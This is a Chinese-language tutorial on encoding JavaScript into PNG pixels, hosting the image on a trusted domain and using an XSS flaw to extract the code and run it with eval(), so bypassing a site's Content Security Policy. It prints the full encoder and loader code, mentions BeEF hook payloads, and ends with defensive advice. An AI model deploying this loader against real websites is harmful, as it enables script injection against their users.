如何将JavaScript隐藏在PNG图像中来绕过CSP
字数 1154 2025-08-20 18:17:47
利用PNG图像隐藏JavaScript绕过CSP的教学文档
技术概述
本技术利用HTML Canvas API将JavaScript代码编码到PNG图像中,然后通过受信任的第三方平台(如Twitter)托管该图像,最终通过XSS漏洞从图像中提取并执行隐藏的JavaScript代码,从而绕过内容安全策略(CSP)的限制。
核心原理
- Canvas图像编码:使用
CanvasRenderingContext2D.putImageData()方法将JavaScript代码转换为图像数据 - 数据隐藏:将每个字符的Unicode值存储在图像的RGB通道中
- 数据提取:使用
CanvasRenderingContext2D.getImageData()方法从图像中提取隐藏的代码 - CSP绕过:利用受信任的第三方平台(如Twitter)托管恶意图像,利用其CSP白名单权限
详细实现步骤
1. 将JavaScript代码编码为PNG图像
(function() {
function encode(a) {
if (a.length) {
var c = a.length,
e = Math.ceil(Math.sqrt(c / 3)),
f = e,
g = document.createElement("canvas"),
h = g.getContext("2d");
g.width = e, g.height = f;
var j = h.getImageData(0, 0, e, f),
k = j.data,
l = 0;
for (var m = 0; m < f; m++)
for (var n = 0; n < e; n++) {
var o = 4 * (m * e) + 4 * n,
p = a[l++],
q = a[l++],
r = a[l++];
(p || q || r) && (p && (k[o] = ord(p)), q && (k[o + 1] = ord(q)), r && (k[o + 2] = ord(r)), k[o + 3] = 255)
}
return h.putImageData(j, 0, 0), h.canvas.toDataURL()
}
}
var ord = function ord(a) {
var c = a + "",
e = c.charCodeAt(0);
if (55296 <= e && 56319 >= e) {
if (1 === c.length) return e;
var f = c.charCodeAt(1);
return 1024 * (e - 55296) + (f - 56320) + 65536
}
return 56320 <= e && 57343 >= e ? e : e
},
d = document,
b = d.body,
img = new Image;
var stringenc = "Hello, World!";
img.src = encode(stringenc), b.innerHTML = "", b.appendChild(img)
})();
2. 从PNG图像中提取JavaScript代码
t = document.getElementsByTagName("img")[0];
var s = String.fromCharCode, c = document.createElement("canvas");
var cs = c.style,
cx = c.getContext("2d"),
w = t.offsetWidth,
h = t.offsetHeight;
c.width = w;
c.height = h;
cs.width = w + "px";
cs.height = h + "px";
cx.drawImage(t, 0, 0);
var x = cx.getImageData(0, 0, w, h).data;
var a = "",
l = x.length,
p = -1;
for (var i = 0; i < l; i += 4) {
if (x[i + 0]) a += s(x[i + 0]);
if (x[i + 1]) a += s(x[i + 1]);
if (x[i + 2]) a += s(x[i + 2]);
}
console.log(a);
document.getElementsByTagName("body")[0].innerHTML=a;
3. 上传图像到受信任平台
- 将生成的PNG图像上传到Twitter或其他CSP白名单中的平台
- 注意Twitter对图像大小有最小限制,可能需要添加填充内容
4. 利用XSS漏洞执行隐藏代码
t = document.getElementById("jsimg");
var s = String.fromCharCode, c = document.createElement("canvas");
var cs = c.style,
cx = c.getContext("2d"),
w = t.offsetWidth,
h = t.offsetHeight;
c.width = w;
c.height = h;
cs.width = w + "px";
cs.height = h + "px";
cx.drawImage(t, 0, 0);
var x = cx.getImageData(0, 0, w, h).data;
var a = "",
l = x.length,
p = -1;
for (var i = 0; i < l; i += 4) {
if (x[i + 0]) a += s(x[i + 0]);
if (x[i + 1]) a += s(x[i + 1]);
if (x[i + 2]) a += s(x[i + 2]);
}
eval(a)
5. 处理跨域问题
由于浏览器安全限制,需要为图像元素添加crossorigin="anonymous"属性,并且服务器必须返回Access-Control-Allow-Origin: *头。
实际攻击示例
- 找到存在XSS漏洞的网站,其CSP配置允许Twitter等受信任域
- 将恶意JavaScript编码为PNG图像并上传到Twitter
- 构造XSS payload,注入以下代码:
防御措施
-
严格CSP配置:
- 避免使用通配符(*)或过于宽松的域白名单
- 避免使用
unsafe-inline和unsafe-eval - 使用nonce或hash来限制内联脚本
-
输入验证:
- 对所有用户输入进行严格过滤和转义
- 特别注意HTML属性注入
-
服务器配置:
- 谨慎设置CORS头
- 对用户上传内容进行严格审查
-
内容审查:
- 监控和限制canvas API的使用
- 检测异常的图像处理行为
工具与参考
- CSP评估工具 - 检查CSP配置安全性
- BeEF框架 - 可用于生成恶意hook.js
- Canvas API文档:
总结
这种技术利用了现代Web平台的多项特性组合,展示了即使有CSP保护,攻击者仍可能通过巧妙的方式绕过安全限制。防御此类攻击需要多层次的安全措施,包括严格的CSP配置、输入验证和内容监控。